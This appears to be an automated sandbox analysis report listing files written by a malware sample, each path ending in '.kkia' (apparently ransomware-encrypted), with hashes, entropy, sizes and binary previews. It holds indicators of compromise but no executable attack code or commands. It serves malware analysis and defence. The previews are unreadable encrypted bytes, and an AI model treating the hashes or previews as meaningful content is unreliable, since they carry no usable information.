SHA1:	A82304F45F8D3A08CD7173A15C3066D2AD284A5B
SHA-256:	C1FCE8F12DB0AFFE24781E7A5982C8C4A63A11DD5DBEB1F0386C73BD6A03F093
SHA-512:	87EBC7A1B29B3FB8D528F01762600143BBC8C8E360FDF1A743D9476121A5D7B624D046D847AADA258BF2DCCD66A7CAE485B30A016F91CB8755470BCE52E957FE
Malicious:	true
Preview:	1G.f....U....m_......A...9...Ma)..3...V.....SN.j..6...?9ez..7V;~ .Z%..?......x@/..I..FV_?.zA)9..<..%...?..JA`. <...b..bj......._z#Q.l..!.;..d=.lbN.?'T....AY.$E.<.S...P....^..w.0h....A(.."0..V#.J1...[-.G.....]...\........!=...?M...H..P...=.+......>.7v].i......P..@.@-.Id!;...y?...)....hst?..M..0+EPhAu...Y..qO.7c\|..]..<.o:4..d@.#.BZ.&%.".....-.......P....]...=').R..(k..u..01........%.U&...T...!..>...#.....q..._/X.[..U..9.[..i...l.ns!..b.X,.O^u,.QLn....oJG.f.D..$W..t=...K.``AKN.....n..W!E.~x...9...2...n8.....5H.[.g8../...Y.?2.W.5.O./m....K...4..@..-4.........us.Dm.;X..$Up....~..'..."....3P.0~.`=.6.....E1.....8.1.mC..z....4.&.."L.L../.`....l..J..[.nG@..S."..y..3[#.;.,.RF.e._3-{.J. v.!.'.!.0ng.....L.#i.....4.=6/..Qu.].OM....&j..C...\`y?Mj....965P.......#.....#....f..'8C.[.NH..8.....].4. h....f".-.d.F...!.......3.8....../p/..q.J...+.6.R.v:..S.O.x....-.@lV.O.\.z....L...(.+HR........?*&.>.9....!.K..j.?j..p...P(k.c.2.B.Efrq.....3...7..Vx...fc&.6sL.

C:\Users\user\Local Settings\Temp\1C5A642E.exe.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\AdobeARM.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4981
Entropy (8bit):	7.958840584004586
Encrypted:	false
SSDEEP:	96:oJTOKUi9ixoFwxu83ARK2W7KsReOux+xbrQXkxVXwRgD9Dt:mOKn9YoFw883ARJWVuxwrwkxVAC9Z
MD5:	747E7400C25D48F47C6228A3FFAC60DA
SHA1:	59E12B1AB54A3565388F09A32637970D0042F873
SHA-256:	AC99947B19EC9E6B784082F97C2BF9101A5DFDAA3A5B75190B14525378B3F501
SHA-512:	4AEBF579C85608122F79031D6ED65CA17190842DE9B5AA5A619050EF8F442B289FF54867FA5AC2B422EEBF64A518472F0C4287E4639E9E8E01B77805A2F773DA
Malicious:	false
Preview:	[2023..5...K@.y...]@../..8~J....?...5.......O.q.......EX.....<F..w#....0..7...i!..:..Bf.a..U..XbX).n1..W.r}3;...q?..8.......;{O$......\|.,.....A.+.=r.y.,[.l.2..w....\."..r...At.m......l.hRRj.N.d\|.@..`9'......2...<.I.....Bl..A.3/)r..rA..8.r_\|..1P}.)....v:..."...i.t..L.B)..c;....'..F.0...F..LT.....6...r..{.....r.....8..L...]7J..U.....vEs....}Z.by....{.n.....>..+.jJ.dt.".C.3.K..r.s.Ty..EOm...C.$!..k."_..T+...=...-..q.....c...l.H..D.W.1.....P!E.&MR=...<{./.../...Z..3. J....2.d/...).$.{.p...LB=..s.RG...;s..u.Y......1BO..&'D"...dKO.wPp...r.........&...>..8.4.l..E...eDHSo..X..r.'.B...v.h...l..6k..[.....8-.gB`ex..q.Zq.l.!!>f...n.-.{.D......+.r{..lo..V......7......1..F...7..,..}...1....}.S....r.;N1......Y{.x4..ys.....U...$.Bo+I...m...Sg..WL.Ay.v..p.~q..h.U.....{.8.Tz...Q..#dX.!......fK..2t.Y......l.%..$+....Ex.-q~..wQ.......p.L....M.oJ....B.PM..C....."..3...p.1l%y.#..^[.l/....x.. 7.JQ.....\|..x;.......ni...L:Vi..FV.wx..H..W.{..V...L.-p

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231005-1152.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	38870
Entropy (8bit):	7.995553787242212
Encrypted:	true
SSDEEP:	768:TrzN1889CFxWiRVQ408V45+B3XcvPrBhwRMOwaY8FRK:Tnr8LxWeQdgtIPrBhwjY8FM
MD5:	DE79E6DF3CB9720EFB39AD0307827688
SHA1:	5EDB96A8E70DB3E56798BDFCBDC54CE22BFC9687
SHA-256:	FDB9714CE95B312CD3557894CF549092C44CCD6C89E88AAEEE3473BE54EB1A7D
SHA-512:	5AAC2DBC9E1061BDFEE838BA5F0FA65E65B708409B343BB53FA7CB9BF82F09C64C87BF65CCEC3245433AE51D8730E19542D1BCD3E373A2E3FE429F2D11D85AD5
Malicious:	true
Preview:	..T.i@.......;.'c..#...............Qh.c.\c.i..`.......%.g.SH.z1eO.LI....2./;....D^.q[3....d..n+.....z..O.....b.....%..M?!;.:Fh...f.0.@.k..ye.....\|.B.H......n`0..9....u.... @g...W....S..u`...)..f.....\.J..C....W....I....Q..C.?B3..A. g3.kv...).6b.y.{ZT:...5......e.G....a...<.2..K..8.Xu./.F.$.bQuD.<..a.Si......ib....TN..\|........\a.v...h....4.l..-<./rd._..p.{f........TIZ .......}(afK.<.A...@.....\|5...m.9.f......$.j.0......eQ,...._...`....HS...3q:.i..."E..$..6..f....1../..)n...p......I.57,...@.. l....Ab......4.&........0.x..g!..`.....z.h'&IY.!b[.S......3..Cq.....w.u.I.....,....i...q.13...\|5.x..o...tL.X.pxr..VH..o...q.....l.j.....7..#.,.pm..v.....J..c.C......"....edpb....d..A.R5....J2n......9'...'........-.(.3-.}H<.i..u.&..]..m.R...!.U$ZO..,.ab.\...d..l.N.*.p....y..aW.eBj@}....x.O.."..E.&U.E.._>.F$O...S...t..#..l[..-+.v..tD...N.^;R.m.g,&... .....MY..zpT.j.>.(./a,..d..P...1.........`.a.a$PQ.K.<..0t4.u...\F.,..(Q...,...;?..t..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231005-1152a.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	180302
Entropy (8bit):	7.750250434447585
Encrypted:	false
SSDEEP:	3072:jeQegryuOQIa9xCmEo5yMvLBULK4IZUd/BQU955oHj2YrBxFS0p4pEWFU:zrZGarCto5/vLBUeFU35oD2MFS0pKEn
MD5:	A91496558AB43C6D076B04AFD11B6763
SHA1:	69CAAB1D85326D44C099D47BB2A4A76937AC176C
SHA-256:	8E94A4567479806BFBF53A08C811BAE2D2ED0CC240EA0CDAB4D432E98E43E147
SHA-512:	21D5A4E588264F3FE8558C60D849E189541B91AEB28A0ECDF19E41C4991581CCA0CE6DD440E977B83C9AD1734F36638CBD5A044F1B8B076F9DC54343897597C8
Malicious:	false
Preview:	..T.i.....q5..>SO.F..o9.1.....A...e..E)z..7;.&!..x.,............]>.......BpN...O.K...J.....Lbb.o....,...J...............O."..f.O.)..(Qz=......f .==....Nm.....D...7.Z._a..X.....(.g...O.5..AF?..o.....%....4Q.]..t.CB..L.;cg.....Vu;.)......2...E.0Y..u.....{.x&.K+........^............kh_.M:.y\|q.7G.`5.....1........f7.,..)x.L..mb..^Y1.[...J.......Jpt.{q.j_~....xE G.L35......,.n.s..R.P$f.^Y@..g.n\|'Qx\!Dm.L.......... ......:o7.4..5..S.{5hv..)....V.....#..!..?.i.dO..T..I._......'7<\...O..AX~.e..hJ...@:......9y..!.J`rk....(.~......~..s/+.N6.B.......A5x/./k}..Q......\..i./......~.W.)..#~\|)....O.M......p[.#.u...V..3v9....Z..89.......K...1...D..;0..h....7.@./D..B......\|e"....HO,..d..<."...G..P.g.ezj.i..Rn../.1q...G..........K."U..@C..YyB=.+1....l."...q..q.K...<..c.../...u..}R.pT...R...Ma(..e....k..W.j....\|ld#.....<..[+....r.m.VD.....%..)..fT.e..A.%..s....@-..i.....-.1.)/.G.S....1.....!.,'.=.R/x;.@h..f...yf..#)]=..&.Q.P..A.s.k.. ..5........

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231005-1153.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	261554
Entropy (8bit):	6.91736148696782
Encrypted:	false
SSDEEP:	6144:MwEwSDA6jYZWyaFKu8uSUuMyvS9BRN6B6QY0YCusMHYalZ/4GDWWxKTt3r05x6ey:MEkJjMsKVai8BWY0YCusMHYalZ/4GDWN
MD5:	81D40EAD8AC8791E822B79E8B7B16A89
SHA1:	9757778CB60694BBE1DE1C111B1FBB693CC8B812
SHA-256:	738E2F6BCE80A3508D35E2D89F49392EF8A78E2903D995E9504676ABB7EFE517
SHA-512:	7036CE15AD2131D0AEE5367A51A4141DD05D4BAE5B767BD7E4E4C38522EA0948ED5063ED7FABC7E65F10E562B668AD817C6E2FBBDB98747EB8843314515CCD42
Malicious:	false
Preview:	..T.i.j.x.........a.UY.c~..r^.F.o..A.C~.vH....J.XD.P....zh.e...$H.....jU.fG..:....Cv.=..z.)+...5.t,$.[H.[m..WV...Dy.H.'K2'.....#Ik..2.B.<.\|...F.t...W........... K......9.>..............C4..g.U.J...y...._?U~.p<.`./K...o.c.....Zm@...".xb.....Q........DT...2..e.\...R........Z.y....]..D.@_.4.....MgDGw....I..J.....3.....ii.2.}.=.......-Z...K....G.I.3.2M}.....K.....FNL..<...F?-./wz....\|..Dj^\......6.'.6.j...d$......=......)&......rS\|....d..3........./.%R.d?.x.%...6..y.{.8-.Vv"4....v.?R..Q#\.......!.S"........+..?..6%3L9.&.vB..Y........_V...3wS.e.D..0G.K.yY..C.......52.TT.).F\|...[g.G..j.]...3.1Y......T.Q^b...jd...T.`..@.j...E...,.o=.g..p).....u......7..{6..B....z.1..h..>.q...l..E.._...=^..i".....y.x..Z{.$._...B....9.zu...A\|.30.'.....o..h......s[...,..E<..e..@.0..P.b.q.....>c1~9..<.n..+..&...FYy...`[..\|b..J...b.UR...... ._.k...LC../&P.i..y.FYC.l.)F...+...I...-q.0].L.>...K..F../9.@HT,.%...d..Q))..]a2..I..M...SLu..\...o..2...>A.\.......].-..\|

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231005-1154.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	217194
Entropy (8bit):	7.294047139885167
Encrypted:	false
SSDEEP:	6144:cpanlpgK6Jd3vDL33jqA36sk8CU3dsGQ3oPeyDncb5OfvsL8uGHreU5F25XCbNeO:TlHOd3LL339zCUNsx3oPeyDncb5OfvsO
MD5:	59FAF5D81A7CE5596CA2A950340D38E9
SHA1:	08FCE8CD71CF74B836B391DDDA5202405BFA75D1
SHA-256:	BEBD89FF0527BD17EDD5E03F7316484AE0E7AB3FDD0AE60AA041AC518E1D40D4
SHA-512:	CFADD655CFA858E343F8F7151CC98C2BEE5CD585A8753F1ED3BBA39104C8DF98026620049D8304204BA950B7C8066392735B0B969AD11CC86717F9475743FEA5
Malicious:	false
Preview:	..T.i..-6.K..2.9..w..vZR.^Z.....f.@....Fx....n...9.....LKK...Ax..a..Sn..g.....D<.r..&[f `.........#.E....,.jiR...!p.d#...\|...G...5w..D.>.......JI(.&.I!...WTm+n...q.e..K;..s6..u...........O\`.$...W.....v..u..~...1...@.....Riy...`C.)...Rr..#:>.$.5....5......w.]..V.X......C_...R......(.1_...K..0.Q.~SS.......s{Sa.....ikC........L$.=Xo...G..+..RP/...U..].{.vc..b..<.\|.Fu>i...I33<..0......p.6@..i.Ws..lJGU.G0.5..,.<.5......K0.z&....A `4..~...b..XDP4..E..P5..a..M..og>.y...%..].S.d..^..!%.....hS....,...\|.D..B.Z7......}..OS...G].x...^..h!...t..p..VE..F.$...........\|.>..y...........f..-K.Yf..X?=.J.GpE..?5.._.WQPU.c$f.u.....q.D."Y...E..B._.2..d..nFm.(g....v...U..I.u&!..X..<.1.}_..^....:..Z.@~..-...<#.!.[G\.... .a..+.P.UN.......E)......W.....B.......5..R.%....vW..>...........L.8`/...q..S....X........r..,...c]..A.....B...s<8...5....hH....j...0..\./...,M.!...B...B7...#...iZ.:.=..+.7.r..ty..........J.C.E..C.a...w.9.f.....0.$..,......a..lfG

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231005-1157.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	394818
Entropy (8bit):	6.112105140630689
Encrypted:	false
SSDEEP:	12288:T8wJuHBfLS0NM3nUIBdkBwppCwI4RuyYkwXB7C/jzsYaVfeXQM9VLGCvHvQZ+sWf:T0JK
MD5:	F85DB36A652D4D1BECAC61857BF66F69
SHA1:	4A218D721EB956ACD84F94F3E6669ED153C94DBE
SHA-256:	E990031AA5ED37A1E032008D04B79CBE9FABD7CCB52F8C43B646C1D0A1C99598
SHA-512:	9F20BCF9DAD570AF9402416FDD90F8E4F975DF43BA14D0D14CE6E8B7410622ED509F4485CEA6BFD57C4E6E29DBA8FAFEA011631887B231751517730EB82B7F86
Malicious:	false
Preview:	..T.i..6...ow8b.maRN...-x...L..e0.%........p@.;.=.xO..v.F.Ud......aDD.....!...K8.(.^.9........+.cj[g.F...[...?.X~..<}.)\.....R!r...-...^.E.V ....!Y6.pW..p....>.&C(........5./.$....U5m.?dV .5`......N.......!,F9.........A...,.........9c.B}..V.K..^...R.{.<...:...%q.s;..S(R...]roO.-...[..6.....oV..#.....p..-...L.+.......n.u\l...{../.....F....7aw.c...H7....Z..\.h...9~UMYP.S..R......a .WX~....rt."..........'[9.2nH..sa{...\...ZQ00...?\|.....e..K.t..^?..L{\|...K.e\-.......d<.T8..I...a......%......`.E......X.h....G.5.@l.M...1H0)....Z.Pt.jm=..\|...Y........_.td.nv.jF...).p.$uD.]....F..(..i.;......K..m2.n..E....=..5HJ..B.1jb.(......F.v...2...`Vt4^}..G.^...l._...gV..o...8....m..P.......k.^._...r...^.o..Y.&f kp/.E.....<.k.:.@....HH..........tVC.x.s16Y.........)...9......].J\|.F. .Mcs....y..\|<*.4...,.0S../].n.+sC]Q3.......<q{..>..-.......k.]F%...n...^,%j.p3.....\|m.k.....N`.Yw..Da.....>....uVe.k\N...a7.@P.M.Qo.......d....:&.k....&&..V>Y...

C:\Users\user\Local Settings\Temp\Diagnostics\EXCEL\App1696501296901617700_E285B920-83FB-469F-8AC0-93210F7C82AA.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	17538
Entropy (8bit):	7.989645962899937
Encrypted:	false
SSDEEP:	384:ZAE7c7RbGviT+P/r6vw2CchId6HZZvh3jGG9g/yvfdQ+v4EpU:ZAEmLY+w2Qd0Lvljpe/K2+gz
MD5:	467175E1332DEEDC347CED58892B9A04
SHA1:	097222592044EC321210EAE633BFDD1C2516783D
SHA-256:	9B10E9804084023AE6815A5AACE4D7B6703CE38F25931F6517586D7D3769F71E
SHA-512:	8EA3B93883B8AE110ABA01C891958E10E95DB66721A6067EA0C2828EF3DBA9F64DFD822438AD2E57E1E0D32959793530C3B602ECF613E6B5CA26866E79F8BDCE
Malicious:	false
Preview:	Times.c...\......aHj.Q..M......@JZ\|~...b.j..r.Y..\./..l..D.%.&..(.._B..HWA.3..ZX.5....l..4...0.d...n.v.....M....`........E+)<7.....Cp=.O.F!.....#.....{.Gua....Iz.x.....V\|....._...O.............o....8...i...D.%%.G.'.pK'3..../;xCS.......JS.^..d.......R.m.7..=5...'W...?a.v....oR...q.=V]A.g~.....xn...B.....<.................V/&.....I%Nw..Q^..c."&..;.d.J..~[..."`U.+..fR.s.../.L..x.G.+}.......:J9.....N....:V_c.~..O...*h/'..!5k..HI..(.....0..p8.Sk..H..V......'.6.y..i.:~..A.........1F)W.Sd...7.'..c..",..1..0.......\|...%........m....`d.;....oU...@.a%.p.)..7.X}.....;.W..$........oN.Ya......AN..9y.q.o...&/$...Ix.=.." ..o.Y..?4.....]V.o.l\.>...e.k.9...x.%E.M.D...W.hm!....a.......{.....vA.^.&H..P......Wl%E..............>-..F.LG....c.q.5I.+..6c...+..]..h.\|.\|..@..gO.......E...1........pC..DvJ..a2.!.<...@.p3N9.....!..Xg.....$...t....,2hI&.k.:.;M&...H..>....lS..5.4.1X..T/.S..F.'.B..t-...{8.s.wzG&......SV}..R.....p..G...j..Z...ZNV..O......Oo

C:\Users\user\Local Settings\Temp\Diagnostics\EXCEL\App1696501320899113200_1A06D4BB-DFF8-4391-B9AB-F88623A7807A.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	199839
Entropy (8bit):	7.802458288519817
Encrypted:	false
SSDEEP:	3072:Fzudk1lkneO+UABAc7r+SDbDUwcYDDgpkJv+sOEK7y2YyFAQVceBP:QmlKehJ/+SXAwc0D4g2stKhYKAQWWP
MD5:	B0B9ED9BFC27AC6B8BF77E50F70A0603
SHA1:	DE3B10DDB0DA5196A7CDFB06530FF4D12D5C2BFD
SHA-256:	ABF66EF9CC871FEFC71C6D4CCD1C1A3F371AFA532AFB5C24BC5D1CF4A2569654
SHA-512:	3A1E7AA0A3925547D8E028E35DE48E871563E75BA9437BBD482BA5A5B31952CFBF4D2336FF67C84DEFE19B83F565B8659CBADCD8215E3A8A95CAD4079146800C
Malicious:	false
Preview:	Times.n..Z`%..isy0..:......^.9._.rO.-.7.q._{9.!..UCb[...hbS2.Y=..CA.....^<`.h....3..Hk.../C..R.s.?S:..d.>.l.G%..CZ..."4.^#..!Ht.[.....T...G.9.M'....l...,..z.....<....!^...).1.$....Z.U\..K\..P.i.....X$..a.1...K..&...U...P-...U.9T..m.x.....$w..+....P........(4.........v. . .....0($.....34.....S.;....&.5...HM.ED.....{...@b\?..:."\|J..B...........)_T..9S......u...="a0../...e...%...q.f..g.8UP.xr..v.`...d.._..:m..zmFr._`........I/..h..U ..G..=\.....:.cf_h\..9...mD$.\|..Y.k.....N.Roo..19.....:\/.....,..0..d.L.t....%..kG@.............5.=l.J3E#..R....M..T..1..z{.^Y...p.E.5Z..t.......4.[.........[\....l[.....[.k.G.].[......6%..[...;S.!#..ao_..Q(.y.(..>V.m.,A..........{x.,l..(....H.wW.V.>.q.....yt...p......1L.R..A.5Q.;VKA9..5k...j...q.o...^.7..0. .e..6./.CH.%."....-.9.2o...%/..!'aKE......Z...Ogn.JA.c..3....)...$..R..d3..r....<9},P#.........2.g.....$j.....A1..p..:.....7JZG,..s..6...\|.Ks?.=.%.....+.-.6.0T...qqH.(^.K...C3...Q.r.l.K.r)..x....?A.y

C:\Users\user\Local Settings\Temp\Diagnostics\EXCEL\App1696501329408245700_8059F11D-A631-42CB-859E-D78FC666AD16.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	174521
Entropy (8bit):	7.925414482174101
Encrypted:	false
SSDEEP:	3072:6BWMYUP88egqNN9cwXntbr8jbOl20M410jinPyjuMscBVqx2nsRDw:6BWkP7zqNTcTOl2lc7Pyjufx22w
MD5:	C955F1BC60B3081FB9FC4A7131C166A0
SHA1:	24B0AC303342857776B88322A48A484AAF23B28D
SHA-256:	CD7DFC6CB1C1E9042C95396CF63AD4A5A6F75AAC9ED13D4D95A080F2AB0B8011
SHA-512:	46E902AE801A3889830CB97ED98EF2FA7A97A3767CB1FB14816FBA242AFB1EFFB763DF04FA6AC06B41CE13EC7E0607F927B2896126E2B26E94E7A0DE55958B83
Malicious:	false
Preview:	Times.. y.l%......Q....(.VT..^...'..jK...b5.\|...(.~X/6+W.....i>........_Y.i...0YW.9A...5v..bl.3l..v..dE..#..I..\|..m.....`Th...V...._:..j.D..{....:.I...a .u...2...\[;.z.......m(.........M..E.}......}g.z...p..U..KY......8..,A.d.+9....O5..g.5!w].K..=..m.bW...J....Gv.S...F.A.0..DJ.Ity.`L..dp...e.l...I08...y8...j1.r.%..!iu9.Uii......D.c.. s..@G...d..E0.}g...H.l....2.S.\....!N1....1...Cw..a.lW....U'k<..34...c.......H.P_,.#.2..=.z...h...c.."....`....n.<bg...Ulx..C...q.v.(.)Lb..~!..;.{uy.HE...y,.e....H.O.>@.".Y...... .9...LN<..HU .\|.....D,.....^]wA.^2.R-W."G\y...-.8..;.Y..m%..+I9.......>>....L.+NV.JA.../.{..vG...3+....q .G..xBc.Y.T....3......<c.PY...Y..H....b.......r...t.A...W\|.I$5>.U..1.1..9@......t..)8..^ .]..3..QP.c..L.MM.w..M..So.F...-C7..mg...{'.;e....r.n?0T....q~..:...z%...D.2......R....O...V....k\|%"T.\|.p.&.s...{`,g.3.v;..g.Ty.._?.I.X.".....x.&..z...\}.'...).>.#...-.......&B.w...5.......e.._.4..e.kWad....Iy.......Zd.EE{{;.w.fmF..\|...

C:\Users\user\Local Settings\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2023-10-05 12-30-24-218.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16859
Entropy (8bit):	7.988739721852972
Encrypted:	false
SSDEEP:	384:RC+tSArrF0BsEvcDMELCR+EduK24hzJSidY5n5xaBY/rOfnAe9PRV:PtrFsYDM2qxJSGyLau/j+RV
MD5:	079826FB366498FF3008945D63128D26
SHA1:	C0DE98CDDB68B51EE9C32CFE0D9C97D705A57B2A
SHA-256:	2A1910F4112D88CD101B8BE06E62B079B29F5BB27A67461F543E826C62B36795
SHA-512:	C958E78F818996803ED152775B03573AC6492BFCE670CACB087E8BE151F110129433FA89C1B446794243FFFA64D26D4DAE358E9E9FF9ACD7D3336AD364577EC5
Malicious:	false
Preview:	Sessit....y...v...wmu..4..)..f..fYL..H.oU..RC......K.fu..#ib...Yo.Z.9...oX.v"..xxc..?.$<.K8.Z.+\.Hvp.?%q....\.E.A.f.j.(.x.. ...f...6....'V..h;..y...f..^\|!..j.W... ..MQ......>3.U........~O..g[......&gW......y ........g...e..el..%.....)...?5P...-M1..RR._b.A\|l.. ~....&..........m..%S.....V....b.].$./.oz..>>..deS..j.].....y..)]p..fT.p.z...l./8.....^....'..&...(.,...5.3.rI #./..x#.R..G.........K....Ph.P,a....;..d.)Gm.]!.q..WT.......FYh.K...v....'......F.Ca..F.._2F...g./..T....x.......=..e.,.n.M..R....;>........F....F...8._.i....l..3<...L',...&....j5AZ.....>7....5b....~.w>b..../...dJ.F.}3.P...X.E.....>..3....y.E...........w.r.....m...E.hA.eR...HMa.X)[.b....Vs.b.p(Pa?5O. o.+....8.S....YW.....@...CEj....P..+.~......*...J...q..CA.;...z....@a....S..7......u.......c...?...$..v.NZ..K{z....H...0...b.r...'..7..Q..Pt.y.T..o.c.M.#(..}....o.x.5..:X..i..2............W^.......:..53...<.D...9..F.R!c.....h.......:..yf".-.g]....S[....^?....8...t.PR

C:\Users\user\Local Settings\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2023-10-05 12-30-37-144.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16859
Entropy (8bit):	7.987994565101303
Encrypted:	false
SSDEEP:	384:MB9Eo3cCXEIQHmVkCDe8NfVOnSxBlQLfrK2apNrrn:MB33FXEI+mVxTNf4SxBIOBpNrrn
MD5:	657C5FEA388E0E56E8301115DD0B4F1D
SHA1:	83640768C52D329B24E806E8D8F4B2A073AA1F07
SHA-256:	64994961F413109C916704199BE5434C6D47F7AC28BAB5320DBDBB57830E67DC
SHA-512:	0114F00BF466142B93A3E6BABECF05B4DE7190CCC3986F1859DBEA4DA7ABFF3461064AAA956A0058540B1231A2FE02D00DBBA97298B5F6CA408B69EBC7BA958A
Malicious:	false
Preview:	Sessi%.#v.y.!i.K{.z(`.. ....<A.=..bC.E.:o.yN..H...I.Foq..4..I(..l._.......k..tKk^~%.......;.T...c.:..d3.T.Og.,.U.s........f.T.s6.......,...yy8...U. 0o.xr........^dt$.}.........\.<.K.o.....(.6..:e.x.^..r.j...r`sx6mr..i.M5.V..&<..v6}.y..d.Ub_.._x.`..!....c.-.........K..j...D.).4N.4_.N..G7F..W....W.i..Xk.Y.\.....)3.......~.`.....~v..^...B/.N.b.Q.}~Q.....4...".R....\...^...t......&f..t..l92".x.~hS.T...@RT..%.V......rA.}....U..T.e.+..m.O\|2...@..C}.5..^t'S....V..Vrt..0.o.....`..zG....Z..H..nB....n..0M..#.$.W...mK...c.x.........E.1..4..deM..FfY.[..y...[.<-...s...h.>&....X.. ..=.}V.s[....._..G.4....O.../...iFb..HX....Nz..=.#`.u..........68].6].9...<......<Q..6v\|Y...u>Y..~e....y{O(.A.3..^.Y.:.V...5.>...uk........&W#....g.af....f.(.5}.....\.S.%$.@...\.CY...a........t..o.-.F.q.L......@..q..$.9'...q.a.=v4.63SJir....yq...C..t..F..&JM....<...9./..xV./..v.~.(....T...r.5......O.@n.zi......1.$..B.)3........1P.......Yt.....ZU.y...w.I.B^.

C:\Users\user\Local Settings\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16933
Entropy (8bit):	7.990011066134081
Encrypted:	true
SSDEEP:	384:kmOVVCg8p1jF+1r/jstK68kjYSRvb+OFPtNqO696MNYCduVzT:kJj5o15iry1iSRz+s66Odup
MD5:	EFE0D243AD103D2F09157752082A5057
SHA1:	6B3FDF7460A3E482C9FF04661A3657E7A889421A
SHA-256:	312B0B94DC8472E795DE5DE0948834A88FB65EBAF2AD35BC9D2D5331A5378EBB
SHA-512:	C188AA75E241EDF6FFAE4D195A139559C2B975D57A20C3420DBDD9645167864456765940F4100A8C2A643C512C540FFA35F796F0A6D3F9A6FBCA46AD6D131248
Malicious:	true
Preview:	Sessi.iDO\|F..tjs.U.~m.f.(..di.?..A..k7!(.e...o..D,...'..u..;....I fmN...K.$......b..2.%z..).../t....F.6F..5=...o8.7.?....9r...R........<.....B;..........@..U.'M.x..h.AMGg.#..c.z.._...).U.....+.`...U3.c....m...62.>&...h...R-<..[a..........zd\j~.p..%...m.....5....r.....G%..M.j.....7...c....hs......1..Tq.&.G..,Sd:W.....J.~kx.@...1..\..{k Y.H.......8e..w...(.IR..<.......z.#15.6..-L....Z).T...:.!.............9..."N..;C.'&VrC;M...En..X%.....^~D.4..R\|...@n...o......y.n..\|..i.o.p.Zo7......^..Q.NH@.g.\....I_........%.....=....i..........x@.y...[..bxU.....l)....3..U.>C.p..7[Z...;.~..1uo..J...ei.(...9.:.......w...&:.a.",..1.LI.....+8..lQ3...`ii..s...3b....4.@.[.p./..@.C.[w.b(1.E..p..u....2.r._..UtJ...y....l&..........FWV7..(...3N..k..a...3a-$#QSF.S#.<{..sy...5.&0J.......s....b.K(....{4....F.....t.6c..){...!...o...Gn..,..Ds......}ZI*.{..;X.2\].....&......4.yn.,.../.>p......[. +zEy.M..C8...c...EY.@f.%8$..Y..Wi.._.g....v5.z.ZfH...o...!.

C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24210
Entropy (8bit):	7.992045138933381
Encrypted:	true
SSDEEP:	384:Pr4KOJcvYtRN9HjAlOMLjrhPe+M1vOHxgo7fmr+kvSpvUzGMS5PYV+b7ed:0KRv0NVoOML/IGFmiceUSMS5QV+Od
MD5:	197BEA55DD725C72D2DD336567B7A5D0
SHA1:	F1B83D5A039DBC05CFE20943849FAC8807264C02
SHA-256:	E6FBD1AAFCA853CD40132CA177F2E67D64FE0937013131291D45843E247DD508
SHA-512:	01E84EF3652010091932AE24F69B93F7BC1A366C79EFDF22DA33C89C00886792E829CAD03A49F46D7DD0617D58538F30AE2BE68B47B1F74581CB24DE45727F77
Malicious:	true
